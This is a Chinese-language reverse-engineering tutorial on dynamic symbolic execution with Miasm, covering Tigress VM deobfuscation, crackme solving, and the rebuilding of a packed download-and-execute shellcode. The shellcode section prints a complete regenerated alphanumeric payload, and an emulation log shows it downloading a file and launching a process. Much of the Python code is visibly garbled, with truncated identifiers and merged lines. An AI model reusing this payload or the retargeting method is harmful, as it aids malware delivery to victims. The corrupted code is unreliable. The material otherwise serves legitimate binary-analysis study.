動(dòng)態(tài)動(dòng)態(tài)動(dòng)態(tài)執(zhí)行(DSE)是目前廣泛使用的強(qiáng)大分析方法，通常用于以下情況：

代碼服務(wù)范圍

創(chuàng)建輸入和測(cè)試用例

創(chuàng)建Exploit

直接fuzzing

檢查跨境訪問(wèn)

自動(dòng)破解me

算法重構(gòu)

反混淆

.

雖然Miasm不是實(shí)現(xiàn)此功能的第一個(gè)工具，但向main branch添加其他功能只是時(shí)間問(wèn)題，因?yàn)樗鼭M足了實(shí)現(xiàn)DSE的所有必要條件。

本文檔介紹了一些示例，以及如何使用簡(jiǎn)單的API在腳本中使用DSE。

從混淆的程序中恢復(fù)它的算法。

不反向進(jìn)行，重用別人的外殼

自動(dòng)破解me

概述：

使用DSE的崩潰教程

TigressVM

運(yùn)行程序

添加DSE

深入研究

反轉(zhuǎn)一個(gè)shell代碼

提高代碼復(fù)蓋范圍-krack me

概述

創(chuàng)建新輸入

自動(dòng)檢測(cè)

最后的想法

相關(guān)資源

此分析基于1fb3326版本的Miasm

使用DSE的崩潰教程

動(dòng)態(tài)符號(hào)執(zhí)行(DSE，也稱為concolic execution)在符號(hào)執(zhí)行中使用特定值。這些符號(hào)執(zhí)行可以防止回路引起的路徑爆炸，并在表達(dá)式太復(fù)雜或系統(tǒng)調(diào)用生成值時(shí)為符號(hào)提供特定值。

此方法一次只考慮一個(gè)路徑。輸入約束隨著程序路徑的不斷擴(kuò)展而不斷增加，路徑結(jié)束時(shí)，通過(guò)反轉(zhuǎn)其中一個(gè)約束來(lái)到達(dá)新的代碼路徑。

接下來(lái)，我舉個(gè)例子來(lái)介紹DSE。

請(qǐng)考慮以下代碼。

Int func(int arg) {

arg=1；

If (arg0xFF==0x12) {

Arg=13

}

Return arg

}

首先，我將使用名為arg=0的特定值執(zhí)行第一個(gè)代碼。

接下來(lái)，執(zhí)行一次符號(hào)執(zhí)行，然后得到以下表達(dá)式：

0: ARG=ARG 1

1: (ARG0xFF==0x12)？2 : 4-表達(dá)式未解決！

表達(dá)式未解析，因此符號(hào)執(zhí)行不會(huì)執(zhí)行到函數(shù)結(jié)束。當(dāng)然，在這里我們可以使用其他方法，例如執(zhí)行多路徑符號(hào)，但這不是這個(gè)例子的重點(diǎn)。

在此階段，通過(guò)使用特定值執(zhí)行符號(hào)執(zhí)行，而不考慮條件，已經(jīng)有了條件輸出(即可能的路徑)。

接下來(lái)，反轉(zhuǎn)條件。也就是說(shuō)，假設(shè)(ARG0xFF==0x12)不成立，或者(ARG0xFF！=0x12)，向條件執(zhí)行狀態(tài)添加新條件。接下來(lái)，我們統(tǒng)一稱這些條件為約束。

執(zhí)行最終結(jié)束，返回ARG 1。這樣就可以得到這個(gè)代碼。(ARG0xFF！=0x12)時(shí)返回ARG 1。代碼可能會(huì)混淆，但我們不需要使用這種方法根據(jù)需要查看代碼。

你認(rèn)為這就是全部嗎？用DSE可以做更多的事！可以使用SMT解釋器反轉(zhuǎn)路徑的約束。假設(shè)求解器回答滿足條件(ARG0xFF==0x12)的ARG=0x123412。

對(duì)輸入執(zhí)行這些操作后，獲得了新的路徑和新的結(jié)果。(ARG0xFF==0x12)如果程式碼片段傳回ARG 14

以上是程序生成新輸入以到達(dá)新代碼區(qū)域的所有過(guò)程。這種方法經(jīng)常在網(wǎng)絡(luò)安全挑戰(zhàn)賽中使用，通過(guò)配置新的輸入，使代碼達(dá)到模糊測(cè)試無(wú)法達(dá)到的地方，提高模糊測(cè)試的效果。

模糊測(cè)試在測(cè)試輸入時(shí)確實(shí)非常快，但遇到“復(fù)雜條件”時(shí)，例如比較輸入和幻值(譯者注：事先約定的幾個(gè)固定字節(jié)沒(méi)有那么有效)。幸運(yùn)的是，這正是DSE的優(yōu)點(diǎn)。

TigressVM

接下來(lái)，使用該技術(shù)修復(fù)混淆的算法。我們使用的例子來(lái)自J. Salwan的Tigress。

整個(gè)Tigress由多個(gè)程序組成，這些程序接受命令行參數(shù)并通過(guò)算法輸出值。

運(yùn)行程序

>

首先，我們寫個(gè)腳本用Miasm來(lái)運(yùn)行這個(gè)程序。PR #515可以讓我們模擬運(yùn)行Linux二進(jìn)制文件的環(huán)境。

from mia import Sandbox_Linux_x86_64

# Create sandbox

parser = Sandbox_Linux_x86_64.parser(description="ELF sandboxer")

("filename", help="ELF Filename")

options = ()

# Force environment simulation

o = True

# Dummy argument: 123456789

o = ["".join(chr(0x30 + i) for i in xrange(1, 10))]

# Instantiate and run

sb = Sandbox_Linux_x86_64, options, globals())

()

現(xiàn)在啟動(dòng)這個(gè)程序會(huì)報(bào)錯(cuò)，因?yàn)閟trtoul這個(gè)樁還沒(méi)有插入程序中。

$ python tigress-0-challenge-0

[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539

VALUEError: ('unknown api', '0x71111012L', "'xxx_strtoul'")

接下來(lái)我們手動(dòng)實(shí)現(xiàn)一個(gè)strtoul。

def xxx_strtoul(jitter):

ret_ad, args = ji(["nptr", "endptr", "base"])

assert args.endptr == 0

content = ji)

value = int(content, args.base)

print "%r -> %d" % (content, value)

ji(ret_ad, value)

寫好strtoul后，再次運(yùn)行程序，這次程序直接崩潰了。原因是這個(gè)函數(shù)使用了?？臻g，所以我們要模擬棧操作（段+內(nèi)存管理）

from mia import PAGE_READ

...

# Init stack canary

= True

FS_0_ADDR = 0x7ff70000

= 0x4

(, FS_0_ADDR)

(

FS_0_ADDR + 0x28, PAGE_READ, "\x42\x42\x42\x42\x42\x42\x42\x42", "Stack canary FS[0x28]")

我們還需要支持128位的操作，所以我們會(huì)使用llvmjitter(python也可以，但會(huì)比較慢)

o = "llvm"

寫好這些后，程序就能正常運(yùn)行了。

$ python tigress-0-challenge-0

[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539

[INFO]: xxx_strtoul(nptr=0x13ffec, endptr=0x0, base=0xa) ret addr: 0x400660

'123456789' -> 123456789

[INFO]: xxx_printf(fmt=0x400dbd) ret addr: 0x4006b4

82131118

$ ./tigress-0-challenge-0 123456789

82131118

添加DSE

接下來(lái)，我們需要用輸入建立一個(gè)輸出值的等式

也就是說(shuō)，我們需要把strtoul的返回值"符號(hào)化"，并取得printf第二個(gè)參數(shù)的等式。

要做到這一步，我們需要在strtoul的末尾，把DSE引擎附加到j(luò)itter。在附加之后，Miasm會(huì)自動(dòng)通知符號(hào)引擎具體值的狀態(tài)，收集約束，檢查符號(hào)執(zhí)行是否與具體狀態(tài)相同等等。

首先，實(shí)例化DSEEngine對(duì)象，用它向外部API中插入我們的代碼（像沙盒一樣）

from mia import DSEEngine

dse = DSEEngine)

d, globals())

接下來(lái)，在strtoul的末尾把DSE對(duì)象附加到j(luò)itter，把所有寄存器的值設(shè)置為具體值（我們不需要追蹤它們的值）最后把返回值賦值給符號(hào)

from mia import ExprId

VALUE = ExprId("VALUE", 64)

def xxx_strtoul(jitter):

global dse

...

ji(ret_ad, value)

d(jitter)

d()

d({

d: VALUE,

})

這個(gè)腳本的執(zhí)行時(shí)間會(huì)有點(diǎn)長(zhǎng)。運(yùn)行到后面還會(huì)報(bào)錯(cuò)，這時(shí)我們看一下xxx_printf_symb這個(gè)函數(shù)，它是printf的樁函數(shù)。

別被嚇到了，我們只需要查看它的第二個(gè)參數(shù)。

def xxx_printf_symb(dse):

result = d)

print result

raise RuntimeError("Exit")

最后我們得到下面這個(gè)復(fù)雜的等式。

({(VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1) 0 64, ((VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64] 0 64, (({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64]

把VALUE=123456789代進(jìn)去算一下，用assert關(guān)鍵字把它的值斷言為和具體值一樣。

from mia import ExprId, ExprInt

...

def xxx_printf_symb(dse):

result = d)

print result

obtained = d({VALUE: ExprInt(123456789, 64)}))

print obtained

assert int(obtained) ==

raise RuntimeError("Exit")

可以發(fā)現(xiàn)，這一次的輸入令我們的等式成立了。

在J. Salwan用來(lái)對(duì)結(jié)果進(jìn)行驗(yàn)證的多個(gè)測(cè)試用例上運(yùn)行，我們可以獲得同樣的準(zhǔn)確率。（下一個(gè)例子涉及到信號(hào)處理，為簡(jiǎn)單起見(jiàn)，這里就不介紹了）

深入研究

不出所料，我們的公式對(duì)于VM-0的Challenge-2是不成立的。

通過(guò)用同一模塊中的 DSEPathConstraint 類替換DSEEngine類，可以讓Miasm跟蹤路徑上的約束。

from mia import DSEPathConstraint

dse = DSEPathConstraint)

這些約束會(huì)存放在z3.Solver對(duì)象上，我們可以通過(guò)d來(lái)對(duì)他們進(jìn)行訪問(wèn)（然后是d.assertions）。

不過(guò)這個(gè)對(duì)象能做的不僅僅是這些，根據(jù)produce_solution選項(xiàng)的不同，它可以實(shí)現(xiàn)不同的功能，幾個(gè)選項(xiàng)如下：

PRODUCE_SOLUTION_CODE_COV

PRODUCE_SOLUTION_BRANCH_COV,

PRODUCE_SOLUTION_PATH_COV

它會(huì)為試著為每塊沒(méi)走過(guò)的代碼段，CFG分支和CFG路徑分別生成一個(gè)新的反例。

默認(rèn)情況下，這個(gè)方法會(huì)在 new_solutions 這個(gè)屬性中存放多個(gè)（solution identifier 和其對(duì)應(yīng)的輸入）。

這些方案可以通過(guò)重寫 produce_solution（判斷是否應(yīng)該生成新的求解器）和handle_solution（將結(jié)果求解器模型轉(zhuǎn)化成新的解法）進(jìn)行擴(kuò)展

所以，在這個(gè)例子中，用默認(rèn)選項(xiàng)（code coverage）運(yùn)行腳本后，程序就返回一些（新目標(biāo)，解決方案）：

>>> d

{

ExprInt(0x4007D4, 64): set([[VALUE = 608420]]),

ExprInt(0x4007BF, 64): set([[VALUE = 455188096],

[VALUE = 6333]])

}

事實(shí)上，我們可以根據(jù)錯(cuò)誤的輸入值對(duì)公式的輸出值進(jìn)行驗(yàn)證，除了6333（兩條不同的路徑可以產(chǎn)生相同的結(jié)果）

進(jìn)一步來(lái)說(shuō)，通過(guò)重寫handle_solution并找到對(duì)應(yīng)的路徑約束，然后根據(jù)對(duì)應(yīng)的公式用新的值重新模擬這個(gè)過(guò)程，我們就可以還原最初的約束（if(cond)會(huì)影響到產(chǎn)生的公式）條件。

example/symbol_exec 這個(gè)例子可以用作這種方法的入門學(xué)習(xí)。

在模糊測(cè)試中，我們可以用這些值作為新的輸入來(lái)到達(dá)新的代碼段。

逆向一個(gè)加殼的shellcode

還記得這個(gè)shellcode嗎？

提醒一下，這個(gè)shellcode通篇只有字母和數(shù)字，它實(shí)際上有一個(gè)自修改的樁（self-modifying stub）可在適當(dāng)位置對(duì)真正的shellcode進(jìn)行脫殼。

shellcode中的樁程序會(huì)在跳轉(zhuǎn)到真正的payload之前運(yùn)行兩個(gè)解密循環(huán)，而真正的shellcode會(huì)下載并執(zhí)行指定程序。

劇透：我們會(huì)使用DSE來(lái)獲得一個(gè)類似的shellcode，但是是從一個(gè)受控制的URL上下載下來(lái)的。

首先，我們運(yùn)行一個(gè)腳本來(lái)加載這個(gè)shellcode（起碼到達(dá)初始進(jìn)入點(diǎn)）。

from mia import Machine

from mia import PAGE_READ, PAGE_WRITE# Init and map the shellcodedata = open(";).read()

machine = Machine("x86_32")

jitter = mac()

addr_sc = 0x400000

ji(addr_sc, PAGE_READ|PAGE_WRITE, data, "Shellcode")# Init environment: stack, and EAX on the en()

ji = addr_sc# Add a breakpoint before the OEPdef jump_on_oep(jitter):

print "OEP reached!"

return False

ji(addr_sc + 0x4b, jump_on_oep)# Launch the ji(addr_sc)

ji()

首先要獲得存儲(chǔ)初始狀態(tài)函數(shù)的結(jié)果的方程。要做到這一步，我們會(huì)使用DSE引擎，在內(nèi)存中符號(hào)化初始的shellcode，符號(hào)化的內(nèi)存范圍可以通過(guò) symbolize_memory 函數(shù)指定。

from mia import DSEEngine

from mia import interval

...# Init the dsedse = DSEEngine(machine)# Add a breakpoint before the OEP...# Init jitter context and DSEji(addr_sc)

d(jitter)

d()

d(interval([(addr_sc, addr_sc + len(data) - 1)]))# Launch the jitterji()

這樣就可以獲取0x42th處的等式了。

from mia import *

print d(ExprMem(ExprInt(addr_sc + 0x42, 32), 8))

也就是：(MEM_0x400053^(MEM_0x400052*0x10))

MEM_ 是DSE引擎用于表示符號(hào)化addr處的內(nèi)存而創(chuàng)建的符號(hào)，這個(gè)符號(hào)可以通過(guò) d(addr) 函數(shù)獲得。

從我們先前的分析來(lái)看，最終的內(nèi)存由樁程序，下載并執(zhí)行的payload，以u(píng)nicode編碼的URLs和一些無(wú)用的字節(jié)組成。

要想達(dá)成我們的目的，需要保留最終的payload和更新URL，也就是說(shuō)，我們會(huì)把最終狀態(tài)設(shè)置為和內(nèi)存中在0x368字節(jié)處（stub+payload），以及接下來(lái)我們更新過(guò)URL。

要完成上述目標(biāo)，我們先用 DSEPathConstraint 這個(gè)對(duì)象來(lái)保存路徑約束。

from mia import DSEPathConstraint

...

dse = DSEPathConstraint(machine, produce_solution=False)

接下來(lái)，用我們的URL構(gòu)建我們期望的內(nèi)存布局。

...

ji()

# Force final state

memory = ji(addr_sc, 0x368)

# > url == garbage

urls = [";, ";]

memory += "\x00".join(urls) + "\x00\x00"

注意，這個(gè)腳本也可以用來(lái)修改payload...

現(xiàn)在，把最終狀態(tài)設(shè)為內(nèi)存布局那樣。

for i, c in enumerate(memory):

addr = addr_sc + i

exp = ExprMem(ExprInt(addr, 32), 8)

value = ExprInt(ord(c), 8)

eq = d(exp)

# Constraint the result of the equation at address "addr" (in "eq") to be

# equal to our custom memory byte "value"

eaff = ExprAff(eq, value)

d.add(eaff))

在這個(gè)階段，用求解器計(jì)算一下結(jié)果：

d.check()

model = d.model()

out = ""

for addr in xrange(addr_sc, addr_sc + len(data)):

x = model.eval(d(addr)))

try:

out += chr())

except:

# No constraint on this input, let's use an arbitrary value

out += "A"

但等等，如果看一看結(jié)果的字節(jié)，我們就會(huì)發(fā)現(xiàn)它不僅僅是由字母和數(shù)字構(gòu)成！

是的，我們從來(lái)沒(méi)有限制輸入是字母和數(shù)字。這個(gè)問(wèn)題很好解決。

import z3

def force_alphanum(x):

""" Force x in [A-Za-z0-9] """

constraint = []

# Integer con(x <= ord('9'), x >= ord('0')))

# Uppercase con(x <= ord('Z'), x >= ord('A')))

# Lowercase con(x <= ord('z'), x >= ord('a')))

return z3.Or(*constraint)

...# Force alphanumfor addr in xrange(addr_sc, addr_sc + len(data)):

z3_addr = d(d(addr))

d.add(force_alphanum(z3_addr))# Get the solution...

最終我們得到了新鮮出爐的shellcode。

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

用前面一篇文章中的腳本，對(duì)shellcode是否正確進(jìn)行一下驗(yàn)證:

...

[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000018, 0x1000, 0x0, 0x0) ret addr: 0x401161

[INFO]: kernel32_CreateProcessW(0x20000018, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5

...

[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000026, 0x1000, 0x0, 0x0) ret addr: 0x401161

[INFO]: kernel32_CreateProcessW(0x20000026, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5

...

完美！

這不是魔法：這只是一個(gè)自解壓的樁程序，不依賴數(shù)據(jù)流和控制流。例如，使用了壓縮的樁程序不會(huì)只有這么點(diǎn)代碼。

提高覆蓋率-破解crackme

目標(biāo)程序是example/sample，對(duì)應(yīng)的腳本是example/symbol_exec

概述

這個(gè)crackme的主要流程是，從文件中加載一個(gè)key，然后運(yùn)行幾個(gè)測(cè)試用例。這些測(cè)試用例包括：

文件長(zhǎng)度的限制

算術(shù)溢出的測(cè)試(2 * buf[7] == 14) && (buf[7] != 7)

magic值的測(cè)試(不適合獨(dú)立的fuzzer)

基于表實(shí)現(xiàn)的一個(gè)CRC16的值

最終的目的是輸出"OK"。

我們會(huì)使用公用的提高覆蓋率的策略：

運(yùn)行某個(gè)輸入

記錄哪些分支沒(méi)被執(zhí)行以及相關(guān)的約束

解析并為這些分支產(chǎn)生一個(gè)新的輸入

回到步驟1

這樣，輸入就會(huì)逐漸地?cái)U(kuò)展到新的代碼塊上(也就是說(shuō)，在越來(lái)越多的測(cè)試用例下走向成功)

腳本d是實(shí)現(xiàn)這個(gè)例子的代碼，不過(guò)這超出了本文的范圍。

建立新的輸入

正如前面看到的，我們使用了DSE引擎來(lái)追蹤路徑約束，使用的是下面這些熟悉的代碼：

# Instanciate the DSE engine

machine = Machine("x86_64")

dse = DSE(machine)

# Attach to the jitter

d)

# Update the jitter state. df is read, but never set

# Approaches: specific or generic

# - Specific:

# df_value = ExprInt.cpu.df, d)

# d({

# d: df_value

# })

# - Generic

d()

在這一步中，進(jìn)行模擬會(huì)導(dǎo)致程序跳轉(zhuǎn)到一個(gè)未知的地址，事實(shí)上，在具體執(zhí)行的時(shí)候，對(duì)__libc_start_main的調(diào)用是作為樁程序來(lái)使用的（見(jiàn)miasm2/os_de）。但要想使DSE工作，還需要把它符號(hào)化。

在這里，我們實(shí)現(xiàn)了這個(gè)程序的一個(gè)原始版本。我們使用"_symb"后綴作為命令約定。

def xxx___libc_start_main_symb(dse):

# ['RDI', 'RSI', 'RDX', 'RCX', 'R8', 'R9']

# main, argc, argv, ...

regs = d

top_stack = d)

main_addr = d)

argc = d)

argv = d)

hlt_addr = ExprInt(0x1337beef, 64)

d({

ExprMem(top_stack, 64): hlt_addr,

regs.RDI: argc,

regs.RSI: argv,

d: main_addr,

d: main_addr,

})

我們可以通過(guò)add_handler函數(shù)把這一函數(shù)注冊(cè)到 __libc_start_main 的地址中去。（相當(dāng)于加了一個(gè)斷點(diǎn)）。

但為了減輕工作量，我們可以使用：

# Register symbolic stubs for extern functions (xxx_puts_symb, ...)

d, globals())

用這行代碼，Miasm會(huì)使用當(dāng)前腳本中定義的這個(gè)函數(shù)，自動(dòng)為imports進(jìn)行注冊(cè)。這和沙盒執(zhí)行時(shí)的機(jī)制是一樣的。

要繼續(xù)執(zhí)行程序，接下來(lái)我們需要FILE相關(guān)的函數(shù)。我們定義了一個(gè)SymbolicFile類，它可以使用一個(gè)具體的size和nmemb參數(shù)對(duì)文件進(jìn)行讀取，并返回符號(hào)化的byte。

我們也實(shí)現(xiàn)了相關(guān)的函數(shù)：

xxx_fopen_symb

xxx_fread_symb

xxx_fclose_symb

它們的實(shí)現(xiàn)很簡(jiǎn)單，這里就不介紹了。主要功能就是，讀取文件并返回字節(jié)，當(dāng)然，文件大小也是用符號(hào)表示。

最后，調(diào)用puts來(lái)顯示"BAD"或"OK"。一旦程序運(yùn)行到這里，執(zhí)行就停止了。

要做到這點(diǎn)，并保存最終的結(jié)果（BAD或OK），在puts樁程序中，我們需要raise一個(gè)exception。

# Stop the execution on puts and get back the corresponding stringclass FinishOn(Exception):

def __init__(self, string):

= string

super(FinishOn, self).__init__()

def xxx_puts_symb(dse):

string = dse.ji)

raise FinishOn(string)

現(xiàn)在，我們可以從程序的開(kāi)始，到最終的puts，都保持DSE運(yùn)行.下一步就是產(chǎn)生新的輸入了。

當(dāng) DSEPathConstraint 對(duì)象可以解出到達(dá)新分支的約束時(shí)，它的handle_solution 函數(shù)就會(huì)被調(diào)用。這個(gè)函數(shù)接收相關(guān)的z3模型以及新的目標(biāo)作為參數(shù)。一個(gè)解可以重寫這一方法來(lái)生成新的解。

我們也可以使用與new_solutions屬性中的新的解相關(guān)的模型.（見(jiàn)上面）

然后重用目前的策略來(lái)生成的新的輸入。例如，我們使用代碼覆蓋的策略來(lái)生成新的輸入以到達(dá)之前沒(méi)到達(dá)過(guò)的代碼段。

strategy = DSEPa Other possibilities:# strategy = DSEPa strategy = DSEPa = DSEPathConstraint(machine, produce_solution=strategy)

在程序執(zhí)行到最后時(shí)，我們就必須建立與計(jì)算出的解（new_solutions的屬性值）相對(duì)應(yīng)的文件內(nèi)容，并保存它們，為之后做準(zhǔn)備.

finfo = FILE_to_info_symb[FILE_stream]

for sol_ident, model in d.iteritems():

# Build the file corresponding to solution in 'model'

out = ""

fsize = max(FILE_size)).as_long(),

len))

for index in xrange(fsize):

try:

byteid = [index]

out += chr(byteid)).as_long())

except (KeyError, AttributeError) as _:

# Default value if there is no constraint on current byte

out += "\x00"

# Save solution for later use

(out)

在這一步，我們可以運(yùn)行文件中的二進(jìn)制程序，并為每個(gè)分支生成新的輸入。

自動(dòng)探測(cè)

我們現(xiàn)在需要做的就是自動(dòng)探測(cè)所有的解。首先，我們需要恢復(fù)兩次實(shí)驗(yàn)之間的狀態(tài)。

相關(guān)的DSE功能是它的快照功能。因?yàn)橐４嬉焉傻慕?避免為已探測(cè)的代碼段生成新的解-keep_known_solutions選項(xiàng)設(shè)置為true:

## Save the current clean state, before any computation of the FILE contentsnapshot = d()

...

d(snapshot, keep_known_solutions=True)

所以，我們先建立一個(gè)空文件：

todo = set([""]) # Set of file contents to test

現(xiàn)在，只要還有候選輸入，我們不斷進(jìn)行下述步驟：

獲取文件內(nèi)容中的候選輸入

把它們打印出來(lái)以觀察它們的演變

恢復(fù)clean狀態(tài)

運(yùn)行附加了DSE的程序

最后，如果得到一個(gè)合法的解，就使用break跳出程序。否則，把新的輸入添加到候選輸入集合中，并從步驟1開(kāi)始。

相關(guān)代碼很簡(jiǎn)單：

while todo:

# Prepare a solution to try, based on the clean state

file_content = ()

print "CUR: %r" % file_content

open, "w").write(file_content)

d(snapshot, keep_known_solutions=True)

FILE_()

FILE_()

# Play the current file

try:

()

except FinishOn as finish_info:

print

if == "OK":

# Stop if the expected result is found

found = True

break

# Get new candidates

finfo = FILE_to_info_symb[FILE_stream]

for sol_ident, model in d.iteritems():

# Build the file corresponding to solution in 'model'

...

(out)

啟動(dòng)這個(gè)最終的腳本，得到下列輸出：

CUR: ''

BAD

CUR: '\x00'

BAD

CUR: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

BAD

CUR: 'M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

BAD

CUR: 'M\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00'

BAD

CUR: 'M\x00\x00\x00\x00\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'

BAD

CUR: 'M!@$M\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'

BAD

CUR: 'M!@$MN\x0e\x87\xb1}\nN\xc60\xe7'

OK

FOUND !

我們可以觀察到上面這些檢查點(diǎn)，分別是：

檢查文件大小

檢查第一個(gè)字節(jié)（等于'M'）

分別在兩個(gè)測(cè)試用例（x!=7,2*x==14）中檢查溢出

檢查magic值

檢查CRC16的值（必須等于1337）

